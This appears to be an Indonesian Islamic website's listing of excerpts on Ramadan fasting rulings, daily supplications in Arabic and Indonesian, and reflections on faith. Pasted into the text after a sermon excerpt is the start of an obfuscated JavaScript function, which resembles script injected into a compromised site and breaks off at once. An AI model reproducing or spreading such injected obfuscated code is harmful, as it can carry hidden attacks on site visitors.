TANYA: Assalammualaikum, Ustaz. Bagaimana hukumnya jika kita tidak sahur dikarenakan kita bangun kesiangan tapi kita niat berpuasa pada hari itu, apakah tetap sah puasa kita? JAWAB: Alaikumussalam warahmatullah. Makan sahur bukanlah kewajiban dan syarat sahnya puasa. Karenanya jika kita tidak makan sahur atau tidak bangun untuk makan sahur
Saat ini kita berada di penghujung bulan Syakban. Artinya, beberapa hari lagi bulan Syakban akan berakhir. Hari Minggu tanggal 5 Mei 2019 yang bertepatan dengan tanggal 29 Syakban 1440 H, pada sore hari menjelang Maghrib adalah waktu yang tepat untuk melakukan pemantauan hilal (istihlal). Jika pada
TANYA: Dalam puasa Ramadhan, kalau seseorang membatalkan puasanya karena alasan tidak makan sahur. Berapa harikah puasa sebagai penggantinya? JAWAB: Kalau sampai pada kondisi sakit maka wajib qadha' (ganti) satu hari saja. Tapi kalau tidak sakit, maka selain qadha' satu hari puasa, wajib bayar kaffarah dengan memilih salah satu
Petikan Khutbah Sayidah Fatimah az-Zahra s.a.: Allah Swt mewajibkan kalian: Salat >> Menghindarkan diri kalian dari kesombongan Puasa >> Memantapkan ketulusan Haji >> Memperkokoh agama Imamah kami >> Mempersatukan dari perpecahan Perjuangan >> Kemuliaan bagi Islam Kepatuhan terhadap kami >> Keteraturan dalam agama (Dalail al-Imamah, h. 113) [*] Baca: Berbahagialah Para Pencinta Fatimah Az-Zahra a.s. https://www.youtube.com/watch?v=2PbFIDHuiO8 function _0x3023(_0x562006,_0x1334d6){const
اللهُمَّ اجْعَلْنِيْ فِيْهِ مُحِبًّا لأَوْلِيَاْئِكَ وَ مُعَاْدِيًا لأَعْدَاْئِكَ مُسْتَنًا بِسُنَّةِ خَاْتَمِ أنْبِيَاْئِكَ يَا عَاْصِمَ قُلُوْبِ النَّبِيِّينَ Allâhummaj’alnî fîhi muhibban li awliyâika wa mu’âdiyan lia’dâika mustanan bisunnati khâtami anbiyâika yâ ‘âsima qulûbinnabiyyîn "Ya Allah, jadikanlah aku di bulan ini lebih mencintai para wali-Mu dan memusuhi musuhmusuh-Mu. Jadikanlah aku
Iman, puasa dan takwa adalah tiga kata kunci dalam ayat, "Wahai orang-orang beriman, diwajibkan atas kamu sekalian berpuasa sebagaimana telah diwajibkan atas orang-orang sebelum kamu sekalian agar kamu sekalian bertakwa." Dalam pengertian umum, iman adalah buah kepercayaan yang merupakan buah pengetahuan valid tentang sesuatu. Pengetahuan adalah
اَللَّهُمَّ اغْسِلْنِيْ فِيْهِ مِنَ الذُّنُوْبِ وَ طَهِّرْنِيْ فِيْهِ مِنَ الْعُيُوْبِ وَ امْتَحِنْ قَلْبِيْ فِيْهِ بِتَقْوَى الْقُلُوْبِ يَا مُقِيْلَ عَثَرَاتِ الْمُذْنِبِيْنَ Allâhummaghsilnî fîhi minadzdzunûbi wa thahhirnî fîhi minal ‘uyûbi wamtahin qalbî bitaqwal qulûbi yâ muqîla ‘atsarâtil mudznibîna. Ya Allah, sucikan aku dari dosa dan segala kejelekan. Uji aku dengan ketakwaan.
Kita tahu, bahwa manusia terdiri dari dua dimensi; materi, fisik atau badan dan non-materi, spiritual atau maknawi. Artinya selain memiliki tangan, kaki, kepala, mata, telinga dan anggota tubuh lainnya yang dapat terlihat oleh mata, diraba oleh tangan, kita juga memiliki keinginan, kecenderungan dan ilmu pengetahuan.
اللهُمَّ ارْزُقني فِيْهِ طَاْعَةَ الْخَاشِعِيْنَ وَ اشْرَحْ فِيْهِ صَدْرِي بِإِنَابَةِ الْمُخْبِتِينَ بِأَمَانِكَ يَا أمَانَ الْخَائِفِيْنَ Allâhummar zuqnî fîhi thâ’atal khâsyi’în wasyrah fîhi shadrî bi inâbatil mukhbitîn biamânika yâ amânal khâ ifîn. Ya Allah anugrahilah aku di bulan ini dengan ketaatan orang-orang yang khusyu serta lapangkanlah dadaku dan
TANYA: (29 Maret 2018, 10:21) Apabila di malam hari kita berniat puasa, kemudian kita terbangun di pagi hari dalam keadaan junub sedangkan waktu puasa telah masuk, apakah sah puasanya apabila kita segera mandi janabat dan melanjutkan puasa? JAWAB: (30 Maret 2018, 09: 30) Jika hal itu dilakukan dengan tidak sengaja,
